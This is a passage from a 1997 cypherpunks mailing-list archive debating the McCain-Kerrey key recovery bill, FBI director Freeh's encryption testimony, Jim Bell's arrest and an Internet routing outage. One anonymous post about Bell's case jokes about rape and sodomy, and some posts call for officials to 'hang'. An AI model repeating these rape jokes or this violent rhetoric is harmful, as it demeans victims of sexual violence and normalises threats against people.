domestic key recovery system, including incentives for those who
participate. Critics say participation in the key-management
infrastructure wouldn't really be voluntary - it would be a
prerequisite to conducting electronic commerce. Encryption, or
data-scrambling technology, is widely viewed as the cornerstone to
e-commerce because it conceals credit card numbers and other personal
information traveling over networks. Key recovery, as outlined in the
bill, would create a system of certificate authorities to whom users
would give a copy of their data keys. Law enforcement could then access
that copy of your key through a court order. 

McCain's flexibility on the issue could influence the debate over how
to protect national security while allowing a free market to flourish in
the digital age. 

Just two days ago, at a Senate Judiciary Committee hearing on the bill,
FBI director Louis Freeh testified on the need for mandatory domestic
key recovery, and some senators on the committee, notably the
chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
domestic key recovery is needed to allow law enforcement to wiretap
suspect digital communications and transactions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 12 Jul 1997 08:33:01 +0800
To: cypherpunks@Algebra.COM
Subject: McCain Open to Key Recovery Alternative
Message-ID: <Pine.GSO.3.96.970711172601.24515A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



Lets try that again...

http://www.wired.com/news/news/politics/story/5133.html


McCain Open to Key Recovery Alternative

by Rebecca Vesely 
3:06pm  11.Jul.97.PDT 

Senator John McCain, sponsor of legislation that
would create a domestic key recovery system for all encrypted
commercial transactions and personal communications, said Friday that
he is open to hearing alternatives to such a plan. 

"We are not wedded entirely to key recovery," the Arizona Republican
said in an interview. 

McCain, chairman of the Senate Commerce, Science, and Transportation
Committee, and Senator Bob Kerrey (D-Nebraska) introduced the
Secure Public Networks Act last month. Privacy advocates and much of
the high-tech industry oppose domestic key recovery on grounds that it
would violate civil rights and be impractical and expensive to build and
manage. 

McCain said he met with Microsoft representatives recently to discuss
a new technology being developed by the software giant that could be
less intrusive and problematic than key recovery. The senator also said
he plans to meet with Netscape officials next week to discuss yet
another alternative. 

Officials from Netscape were not immediately available for comment. 

"I'm saying, OK, if you have another solution, I'd like to hear it,"
McCain said, though he stressed that protecting national security
remains his "first obligation." 

The McCain-Kerrey bill includes provisions for setting up a voluntary
domestic key recovery system, including incentives for those who
participate. Critics say participation in the key-management
infrastructure wouldn't really be voluntary - it would be a
prerequisite to conducting electronic commerce. Encryption, or
data-scrambling technology, is widely viewed as the cornerstone to
e-commerce because it conceals credit card numbers and other personal
information traveling over networks. Key recovery, as outlined in the
bill, would create a system of certificate authorities to whom users
would give a copy of their data keys. Law enforcement could then access
that copy of your key through a court order. 

McCain's flexibility on the issue could influence the debate over how
to protect national security while allowing a free market to flourish in
the digital age. 

Just two days ago, at a Senate Judiciary Committee hearing on the bill,
FBI director Louis Freeh testified on the need for mandatory domestic
key recovery, and some senators on the committee, notably the
chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
domestic key recovery is needed to allow law enforcement to wiretap
suspect digital communications and transactions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kunt Cribspin <kc@ahole.com>
Date: Sun, 13 Jul 1997 09:06:29 +0800
To: cypherpunks@toad.com
Subject: Tim's research
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <33C6C4E8.F78@ahole.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 12:06 PM -0700 7/11/97, Kent Crispin wrote:
> >On Fri, Jul 11, 1997 at 11:28:39AM -0700, Tim May wrote:

> Now is it clearer to you what we've been discussing? Jeesh.
> 
> (I could spend more time with HotBot or Alta Vista digging up more news
> stories, inclduding the actual text of the agreement, such as it has been
> publicized, but I don't plan to spend my time recapping the obvious.

> >Could you find a reference to this putative enabling legislation? I
> >think it is a figment of somebody's imagination.
> 
> I just plain give up on you, Kent. You obviously have not been reading or
> following the news. The "deal" requires Congressional action...
> Again,
> spend a few minutes in a search engine. (Try typing "tobacco" into Yahoo's
> news search engine, for example.)

Tim,
I think it was nice of you to take your own time to help Kent not
be so stoopid. He should appreciate it instead of calling you an
asshole since he is lazy and you are not.
I am not lazy and I don't mind doing my own work to find stuff with
a searcher engine but I need help and I thought I would ask you since
you are so helpful and smart with searcher engines.

I lost my pencil. I thought it was on the desk but I looked there,
and underneath it and everything and in the kitchen and I checked
in the couch cushions and the bathroom and I still can't find it.

Can I use the searcher engine to find it? Once I heard about a
cipherpuck list guy that had to use a searcher engine to find 
his shoes so I thought maybe I could use one to find my pencil.

I can't remember my email number but I'm on AOL so when you answer
me you can just go there and ask around if anyone knows me.

Kunt Cribspin
ps -- If Camel has to give up the Camel then does Kool have to give
up the Penguin? Do the people who make poison have to give up the
skull and crossbones guy? A lot of the kids like to be him on 
halloween so I guess he would be a bad influence and kids will
drink poison to be like him.

  Hey, about crypto! Why don't you just call your crypto ^art^, like
movies are? Then you could put foreign subtitles on it or ^dub^ it
on the outside with other words and if the cops complain that it 
doesn't match what is inside then you can tell them that the in
the movies the words don't match the people's lips and ^that's^ not
a crime for chrissake!
  I told my uncle about making cryto into art and he had a good
idea (it's funny).
  He said when the cops complain that they don't understand what
the crypto says that you can offer to tell them what it is about.
  Then you stand back and look at it from a couple different angles
and then you look at them while sweeping your arms around in the air
like a beatnik and you say, "It's about man's inhumanity to man."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 12 Jul 1997 06:51:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Routing around damage
In-Reply-To: <199707112041.WAA07968@basement.replay.com>
Message-ID: <Pine.GSO.3.95.970711175850.26491B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 11 Jul 1997, Anonymous wrote:

> Remember "the internet interprets censorship as damage and routes around
> it"?  I'd be happy with an internet that interprets DAMAGE as damage and
> routes around it.

It does.. It's just that when you lose a *large* access point, the impact
is significant.  (I think that's what happened here...)

> 
> >A minor construction accident in San Jose, California, caused
> >three hours of Internet slowdowns this morning, especially for
> >those trying to connect to and from West Coast Web sites.
> 
> >Backbone Internet providers route requests and information
> >through about a half-dozen network access points (NAPs).
> >When one has a problem, it can affect the entire Internet.
> 
> 


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 12 Jul 1997 09:09:22 +0800
To: cypherpunks@Algebra.COM
Subject: Microsoft and Netscape to Provide McCain with Options?
In-Reply-To: <33C6CF32.6EB8@nwdtc.com>
Message-ID: <v03102800afec868f520e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(I changed the message name, as it appeared to be entirely too many lines! :-})

At 5:26 PM -0700 7/11/97, Alan Olsen wrote:

>McCain Open to Key Recovery Alternative
>
>by Rebecca Vesely

>McCain said he met with Microsoft representatives recently to discuss
>a new technology being developed by the software giant that could be
>less intrusive and problematic than key recovery. The senator also said
>he plans to meet with Netscape officials next week to discuss yet
>another alternative.

This is something we should watch _very_ closely!

I cannot imagine any solution acceptable to statists like McCain, Kerrey,
Swinestein, Clinton, Freeh, and all the others that would even remotely be
acceptable to anyone who cherishes liberty.

The extreme danger is that the McCain-Kerrey bill was just so plain
terrible that it is being used as a bargaining chip to get a "compromise."
And that compromise could be fed by helpful, hopeful corporate spinmeisters.

The danger is that the work MS was doing a few years ago on key recovery
could be made part of the basis of the "new industry compromise." I had
hoped this had died when Chairman Gates came out so strongly against key
escrow and GAK in his book.

(The recent discussion of "collective contracts," where an
industry-government deal binds us all, is timely.)

>Just two days ago, at a Senate Judiciary Committee hearing on the bill,
>FBI director Louis Freeh testified on the need for mandatory domestic
>key recovery, and some senators on the committee, notably the
>chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
>domestic key recovery is needed to allow law enforcement to wiretap
>suspect digital communications and transactions.

The ground is shifting rapidly from "we need a law to recapitulate
Americans' right to strong crypto" (Pro-CODE) to "we need key recovery in
exported products and when government networks are involved"
(McCain-Kerrey) to "some sort of domestic key recovery is needed"
(Freeh-Hatch-Pol Pot).

Let them all hang.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 12 Jul 1997 09:45:28 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Microsoft and Netscape to Provide McCain with Options?
In-Reply-To: <v03102800afec868f520e@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970711182355.24515C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 11 Jul 1997, Tim May wrote:

> (I changed the message name, as it appeared to be entirely too many lines! :-})

I accidently pasted the whole message into the subject line.  Netscape
does not show anything beyond the first line, so it went unnoticed until
after I sent it.  Oh well...

> At 5:26 PM -0700 7/11/97, Alan Olsen wrote:
> 
> >McCain Open to Key Recovery Alternative
> >
> >by Rebecca Vesely
> 
> >McCain said he met with Microsoft representatives recently to discuss
> >a new technology being developed by the software giant that could be
> >less intrusive and problematic than key recovery. The senator also said
> >he plans to meet with Netscape officials next week to discuss yet
> >another alternative.
> 
> This is something we should watch _very_ closely!

I agree.  The article seemed to imply that both Microsoft and Netscape
were falling all over each other trying to come up with gak-like
alternatives to key recovery.  I wonder what Tom Weinstien can tell us
about that...  (He has been a bit quiet lately...  Too quiet.)

> I cannot imagine any solution acceptable to statists like McCain, Kerrey,
> Swinestein, Clinton, Freeh, and all the others that would even remotely be
> acceptable to anyone who cherishes liberty.

Neither can I.  They seem to think they have the right and responsibility
to dictate the morals and thoughts of others.  I wonder what the public
response would be if this were a set of laws about opening and recording
the contents of snail-mail?  Or sending mail in envelopes that cannot be
opened without detection...  (Judging by the current cluelessness of the
general public, not much.)

> The extreme danger is that the McCain-Kerrey bill was just so plain
> terrible that it is being used as a bargaining chip to get a "compromise."
> And that compromise could be fed by helpful, hopeful corporate spinmeisters.
> 
> The danger is that the work MS was doing a few years ago on key recovery
> could be made part of the basis of the "new industry compromise." I had
> hoped this had died when Chairman Gates came out so strongly against key
> escrow and GAK in his book.

Anything to make a buck.  Check out Microsoft's crypto API sometime.
There are all sorts of little hooks to enforce the export regs and make
strong crypto difficult.  (Best using another library all together as far
as I am concerned.  Especially since they seem to change the API every
other month.)

> (The recent discussion of "collective contracts," where an
> industry-government deal binds us all, is timely.)

The ties that bind... or choke...

> >Just two days ago, at a Senate Judiciary Committee hearing on the bill,
> >FBI director Louis Freeh testified on the need for mandatory domestic
> >key recovery, and some senators on the committee, notably the
> >chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
> >domestic key recovery is needed to allow law enforcement to wiretap
> >suspect digital communications and transactions.
> 
> The ground is shifting rapidly from "we need a law to recapitulate
> Americans' right to strong crypto" (Pro-CODE) to "we need key recovery in
> exported products and when government networks are involved"
> (McCain-Kerrey) to "some sort of domestic key recovery is needed"
> (Freeh-Hatch-Pol Pot).

Actually I think that Freeh is being the most honest of the whole bunch.
I don't think any of them believe in free speech for the masses.  (For
them, yes.  For everyone else, no.)  Freeh just has enough of a spin and
created "crisis" for him to get away with it.

And with the new "Child Porn Epedemic"...  It makes me wonder if
"Operation Looking Glass" has moved to the net.  (Covertly, of course.)

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 04:13:38 +0800
To: cypherpunks@toad.com
Subject: New Add-On Law / Re: Freeh's Testimony (FBI Seeks Domestic GAK)
Message-ID: <199707111954.VAA02222@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell wrote:
 
> More generally, it is legal not to speak and thus to deprive police and
> prosecutors of the contents of your mind.  Crypto just extends this right.

  Duncan, as he often does, points out a small truth which goes
to the very heart of the issue of criminalizing strong encryption.

  Criminalizing crypto is criminalizing _private_speech_ and also
_private_thought_.
  Mark my words, when the day comes that LEA's have the technology
to read human thoughts, then we will be seeing this same debate 
taking place in that arena. The "legitimate needs of law enforcement"
rhetoric, et al, will be drug out for the billionth time to thwart
the danger that a CypherPunk might fart in the woods without an
LEA recording it.

  Think back to the first time you read "1984" and think about what
you, yourself, could _add_ to the book from your own personal
knowledge and experience since that date.
  If we added all of the instances of "Big Brother" becoming an
accepted reality of everyday life since then, the tome would rival
"War and Peace" in volume and scope.

  If I choose to write my prayers on a word processor, in order to
better organize my spiritual thoughts and be able to reference them
to remember my promises to God, does the State have a right to
demand I let them view those prayers, and private religious thoughts?
  If I use a computer to write my attorney, perhaps even outlining
my activities, etc., in regard to criminal charges against me, does
the State have a right to demand access to it?
  Am I allowed to whisper to my lawyer in court, but not to type
what I want him to know on a computer screen he has in front of
him in the same courtroom?

  Am I allowed to tell a $200/hour psychiatrist that someone made me
mad enough to "kill" them in order to stay sane enough not to do so,
and have it kept confidential, but be denied the right, if I am a
poor person, to do the exact same thing in writing on my computer,
with the help of a $4.95 paperback self-help/psychology book?
  Have private thoughts been "corporatized/governmentized" somehow?
Are our private thoughts sacred only when shared with a recognized
authority? If I share them with myself, do they become the property
of the State?

  Am I totally out of my mind, or has life become tremendously
fucking scary, and nobody but me has noticed?
  Sometimes I feel like the guy on the plane in the "Twilight Zone"
movie, who is the only one who can see the monster on the plane's
wing that is endangering everyone's life. And if you shoot at the
monster nobody else can see, then they strap you down and take you
to the rubber room. (Obvious analogy to McVeigh and Death Row 
purely unintentional.)
  {"Your honor, this search warrant is for the purpose of cracking
the suspect's head open with a crowbar and prying his brain out so
that we can poke around, in _good_faith_, I assure you, and look
for evidence that pertains to a crime that may have been committed.")

  If you don't provide a breathalyzer sample, you are automatically
guilty of drunken driving (even if the DMV License Tester is handing
you a perfect score/report as the officer places you in handcuffs).
  I have no doubt that under future key escrow laws that your prayers
to God and your letters to yourself detailing the most intimate 
details of your life will make you automatically guilty of tax evasion
unless you allow strangers who are hostile to you (police, judges,
prosecutors) to read them.
  Yes, and one day, even our private thoughts will be considered to
automatically make us guilty criminals unless we allow LEA's access
to them. (The "lie detector" is a case in point, and it has in the
past come dangerously close to being afforded the same status as
the breathalyzer, even though it represents "voodoo" as much as it
does "science.")

  If a tree falls in the forest, and nobody hears it--is it a drug
trafficking tree or a child molesting tree?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Sun, 13 Jul 1997 09:06:29 +0800
To: cypherpunks@toad.com
Subject: Re: Potential terrorists
Message-ID: <199707120510.WAA06415@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> wrote:

> The Blair administration has a massive legislative program ahead of it
> undoing 18 years of Tory mismanagement and corruption.

Hmm, let's see: increased taxes, increased interest rates, banning all
handguns, the current hunting ban boondoggle, British Airways on strike... 
somehow I think that 'New Labour' are doing pretty well at instigating
their own program of mismanagement.

Of course, a government which made banning handguns one of it's first
priorities and banning hunting one of the second is hardly likely to be 
a government which will look gladly on the unrestricted use of cryptography.
I won't mention the 'Prevention of Terrorism' act.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 04:51:06 +0800
To: cypherpunks@cyberpass.net
Subject: Routing around damage
Message-ID: <199707112041.WAA07968@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Remember "the internet interprets censorship as damage and routes around
it"?  I'd be happy with an internet that interprets DAMAGE as damage and
routes around it.

>A minor construction accident in San Jose, California, caused
>three hours of Internet slowdowns this morning, especially for
>those trying to connect to and from West Coast Web sites.

>Backbone Internet providers route requests and information
>through about a half-dozen network access points (NAPs).
>When one has a problem, it can affect the entire Internet.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 12 Jul 1997 15:00:05 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Routing around damage
In-Reply-To: <199707112041.WAA07968@basement.replay.com>
Message-ID: <v03102802afecd9bc6add@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>On Fri, 11 Jul 1997, Anonymous wrote:
>
>> Remember "the internet interprets censorship as damage and routes around
>> it"?  I'd be happy with an internet that interprets DAMAGE as damage and
>> routes around it.
>
>It does.. It's just that when you lose a *large* access point, the impact
>is significant.  (I think that's what happened here...)

Seems to me that having only a few, heavily trafficed, NAPs is a
topological weakness in the Net which needs to be delt with soon.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 06:07:22 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NEWS: Freedom of Movement Could Cripple Cops, FBI Warns
Message-ID: <199707112157.XAA17345@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 11 Jul 1997, Tim May wrote:
> No comment needed.
>
> >Freedom of Movement Could Cripple Cops, FBI Warns
> >
> > By Klaus Prime
> >
> >WASHINGTON, July 9 (Reuter) - FBI Director Louis Freeh on Wednesday issued
> >his sternest warning yet that freedom of movement by citizen units could
> >wreak havoc on crime-fighting efforts.

This is proof that Freeh has finally learnt to read, and has completed (we
hope) "1984" and is applying it to his own world. Perhaps Freeh wasn't
allowed to become a Big Brother, for the group of the same name.
On Fri, 11 Jul 1997, Tim May wrote:
> No comment needed.
>
> >Freedom of Movement Could Cripple Cops, FBI Warns
> >
> > By Klaus Prime
> >
> >WASHINGTON, July 9 (Reuter) - FBI Director Louis Freeh on Wednesday issued
> >his sternest warning yet that freedom of movement by citizen units could
> >wreak havoc on crime-fighting efforts.

This is proof that Freeh has finally learnt to read, and has completed (we
hope) "1984" and is applying it to his own world. Perhaps Freeh wasn't
allowed to become a Big Brother, for the group of the same name.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 06:24:12 +0800
To: cypherpunks@toad.com
Subject: Re: New Add-On Law
Message-ID: <199707112205.AAA18985@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Can the LEA have a blanket wiretap in a confessional booth 
in hopes of gaining evidence of organized crime? Are they permitted
to monitor all confessions or just the ones stated in the
warrant? 

Do LEA view themselves as God?

Forgive me mother for I have sinned. I have used un-GAKd crypto
in my preperations of my writings about theology. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 06:56:58 +0800
To: cypherpunks@toad.com
Subject: From Bad to Worse / Re: Jim Bell (FINALLY!) Charged
Message-ID: <199707112241.AAA25669@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell wrote:
> >Oregonian Friday July 11, 1997 Page B3
> >
> >James D. Bell was charged Wednesday with interfearing with a federal
> >officer
> >and using false Social Security numbers.  He has been held without
> >bail in the Pierce County Jail since his May 18 arrest.

> [Warning! Old, politically incorrect law school joke coming up.]
> What was the biggest charge reduction in the history of plea bargaining?
> That would have been the reduction from a charge of Sodomy to a charge of
> Following Too Close. -- From the International Committee for the Preservation
> of Politically Incorrect Law School Jokes.

  I was arrested for "arson." They said that if I'd turned her over,
then the charge would have been "rape."
  My lawyer pleaded it down to "assault with a friendly weapon."
(The prosecutor argued for "dangerous weapon," but I was fortunate
enough to have a male judge, so the evidence didn't stand up in
court when it was presented for inspection.)

> >In an affidavit for the search warrant, IRS Special Investigator Jeff
> >Gordon said that Bell was "directly soliciting others to set up a system
> >to murder government officials" and that he had devised a plan to
> >overthrow the government.
> 
> So where are these "others" and why are they still being allowed to walk the
> streets? 

  Perhaps the others are all decent, law-abiding conspirators who
planned to have Dr.Kevorkian "help" government officials and, rather
than "overthowing" the government, will merely act as executors 
(pardon the pun) of the e$tate.

> All right.  You forced me.  "Why do they call it the 'Reasonable Man Test'?
> Because there's no such thing as a reasonable woman."  (See Above)  [Duck and
> Cover!]

  Everyone knows what "Coyote Ugly" is...do you know what "Jailbird
Ugly" is?
  It's when a woman is so ugly that her rapist is sentenced to
_do_ her again--from the front.

ArsonAssed
"Justice is a two-edged place to put your sword."

Something's wrong when I'm sodomized under an increasing number of laws.
Only one response to the dick grabbers is warranted: "Pull!...Pull!"
---------:---------:---------:---------:---------:---------:---------:----
Mayor Maynot                | Sexual Anarchy: raincoat encryption, 
mm@got.sum     408-728-0152 | anonymous sex, digital fetishes, Zippo
W.A.S.T.E.: Corralitos, CA  | knowledge, bad reputations, sex markets,
Higher Power: 2^1398269     | black sex markets, collapse of boners.
"Chastity belts aren't even hemmeroids on the anal bi-way."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sun, 13 Jul 1997 09:06:46 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell reference
Message-ID: <199707112357.AAA01108@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



mctaylor@mta.ca commented on the Jim Bell case and Dorothy Denning.
Vin McLellan <vin@shore.net> forwarded the 'Freeh Speech'

Statement of Louis J. Freeh, Director, FBI....

>The looming spectre of the widespread use of robust, virtually uncrackable
>encryption is one of the most difficult problems
>confronting law enforcement as the next century approaches. At stake are
>some of our most valuable and reliable investigative
>techniques

Baloney.  The figures you give later indicate 1000 or 2000 investigations
a year meeting computer encryption.  Even if they were all unbreakable
that's 2000/year in a population of how many ?  Dents the clear-up rate
by how much ?   Makes me think the issue is the preservation of many
thousands of _unathorised_ taps.  What else could explain that viewpoint?


>There have been
>numerous cases where law enforcement, through the
>use of electronic surveillance, has not only solved and successfully
>prosecuted serious crimes and dangerous criminals, but has
>also been able to prevent serious and life-threatening criminal acts. For
>example, terrorists in New York were plotting to bomb
>the United Nations Building, the Lincoln and Holland Tunnels, and 26
>Federal Plaza as well as conduct assassinations of
>political figures. Court-authorized electronic surveillance enabled the FBI
>to disrupt the plot as explosives were being mixed.

Over here video cameras in public places seem to hit the jackpot
quite often in this area.

>another example, electronic surveillance was used to
>prevent and then convict two men who intended to kidnap, molest and then
>kill a male child.

Witnesses are better, they can catch the lone molester who has no 
communications.  We had a well-publicised case a couple of years ago
where a man was caught with a kidnapped girl in his van shortly after
a gardener happened to see the girl's feet beneath the van at the instant
she was lifted off the ground.

Incidentally, I'm against terrorism, child molestation etc etc. 
I'm confident most other cypherpunks are too, so no nonsense please
about free crypto supporters being backers of [crime of the month].

>       Convicted spy Aldrich Ames was told by the Russian intelligence
>       service to encrypt computer file information that was
>       to be passed to them.

But he was convicted anyway ?  So crypto was not a problem to LE ?

>       An international terrorist was plotting to blow up 11 U.S.-owned
>       commercial airliners in the far east. His laptop
>       computer which was seized during his arrest in Manilla contained
>       encrypted files concerning this terrorist plot.

Also not a problem if the files were found to concern the plot.

>       A subject in a child pornography case used encryption in
>       transmitting obscene and pornographic images of children
>       over the Internet.

As above.

>       A major international drug trafficking subject recently used a
>       telephone encryption device to frustrate court-approved
>       electronic surveillance.

If life were that easy you'd have your budget cut, and deserve it.


>Over the last three (3) years, the FBI has also seen the number of computer
>related cases utilizing encryption and/or password
>protection increase from 20 or two (2) percent of the cases involving
>electronically stored information to 140 or seven (7)
>percent. These included the use of 56 bit data encryption standard (DES)
>and 128 bit "pretty good privacy" (PGP) encryption.

>Just as when this committee so boldly addressed digital telephony, the
>government and the nation are again at an historic
>crossroad on this issue.

...are again at a sharp disagreement ?




Now over to M. C. Taylor

>The one major difference in Dr. Denning's point of view is that she has a
>large degree of trust in LEA. Period. That is the difference
>between Dr. Denning and the average cypherpunk. 

Here in the UK you just have to say 'West Midlands Serious Crime Squad'
(now disbanded) to blow away the idea that the police evidence is always
genuine.  Even today a senior policeman is reported in newspapers as
saying his force employs dishonest people who would not be employed by a
supermarket, and that he regrets needing such a high standard of evidence
to fire them.  When you think how easily alleged communications can be
faked in contrast to physical evidence (such as a bloody glove, say)
I'm uncomfortable that electronic evidence is even admissible.

>The evidence is weak, in an article from May of this year, Denning quotes
>500 cases world-wide, but neglects to follow-up with which of these cases
>were solved regardless; due to other evidence or because the suspect was
>using crummy crypto. 
>
>Denning doesn't seem too concern with lawless government access, access
>beyond the scope, government tampering or forgery of information which are
>possible with poor key escrow technologies.

Very good points.



--
###############################################################
# Antonomasia   ant@notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 13 Jul 1997 09:08:26 +0800
To: cypherpunks@toad.com
Subject: Re: Airlines to start profiling, bag matching
Message-ID: <199707112350.BAA05228@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell wrote: 
> -----BEGIN PGP FORGED MESSAGE-----
> At 08:41 PM 7/10/97 -0700, Alan Olsen wrote:
> 
> >"Is this Nazi land so good?  Would you leave it if you could?" - from the
> >missing part of the Clinton inaguration speech
> 
> Or how about the Clash's "I'm Sick and Tired of the USA"

  Or, as I was saying to Lucky Green the other day,
"Do you feel _punk_, Lucky? Well...do you?"

BadPunMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 12 Jul 1997 16:57:33 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Routing around damage
In-Reply-To: <v03102802afecd9bc6add@[10.0.2.15]>
Message-ID: <Pine.GSO.3.95.970712041915.26608B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 11 Jul 1997, Steve Schear wrote:

> >> Remember "the internet interprets censorship as damage and routes around
> >> it"?  I'd be happy with an internet that interprets DAMAGE as damage and
> >> routes around it.
> >
> >It does.. It's just that when you lose a *large* access point, the impact
> >is significant.  (I think that's what happened here...)
> 
> Seems to me that having only a few, heavily trafficed, NAPs is a
> topological weakness in the Net which needs to be delt with soon.

Quite true, but the other main problem, that of major routers dropping
lots of packets during high traffic times (basically, anytime from noon
eastern until about 8 eastern is horrible, and it tends to pick up a
little after that I think, but it stays bad until after about midnight
eastern from what I've been able to tell), remains completely unresolved.
Some initiatives are in the planning stages to deal with these things, but
the sheer number of routes on the net at this point is a problem.  Of
course, MCI's horrible ATM <-> IP interface is a major point of congestion
at this point, at least from my connection here at school.

Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 12 Jul 1997 21:19:52 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199707121259.HAA12545@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   US navbar 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   US fringe banner All Politics 
   
     rule
     
                      MAN SHOOTS COMPUTER IN FRUSTRATION
                                       
      killyerputer
     
     ISSAQUAH, Wash. (AP) -- A man was coaxed out of his home bypolice
     after he pulled a gun and shot his personal computer,apparently in
     frustration.
     
     "We don't know if it wouldn't boot up or what," Sgt. KeithMoon said
     Thursday.
     
     The computer, in a home office on the second floor of thetownhouse,
     had four bullet holes in the hard drive and one in themonitor.
     
     One bullet struck a filing cabinet, while another made itthrough a
     wall and into a neighboring unit. No one was hurt.
     
     Police evacuated the complex, contacted the 43-year-old man
     bytelephone and got him to come out. He was taken to a hospital for
     amental evaluation.
     
     Copyright 1997 Associated Press. All rights reserved. This material
     may not be published, broadcast, rewritten, or
     redistributed.  Search for related CNN stories:
     ________________________________________   ______ [Help]
     Tip: You can restrict your search to the title of a document.
     Infoseek grfk
     
     Example: title:New Year's Resolutions
      rule Message Boards 
     
  Sound off on our message boards
  
     Tell us what you think!
     
     You said it... [INLINE] All Politics rule
     
   
   To the top 
   
   (c) 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 13 Jul 1997 09:01:04 +0800
To: cypherpunks@toad.com
Subject: Citizens' Butts Open to Key Recovery Alternative
Message-ID: <199707120630.IAA00124@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan wrote:
> http://www.wired.com/news/news/politics/story/5133.html
> McCain Open to Key Recovery Alternative
> by Rebecca Vesely
> 
> Senator John McCain, sponsor of legislation that
> would create a domestic key recovery system for all encrypted
> commercial transactions and personal communications, said Friday that
> he is open to hearing alternatives to such a plan.

  Didn't one of the list members just mention a "cracking open the
citizen's brain with a crowbar" plan? Has anyone forwarded it to
McCain yet? Is he proposing "use of a thick skull in the commission
of a crime" legislation yet?

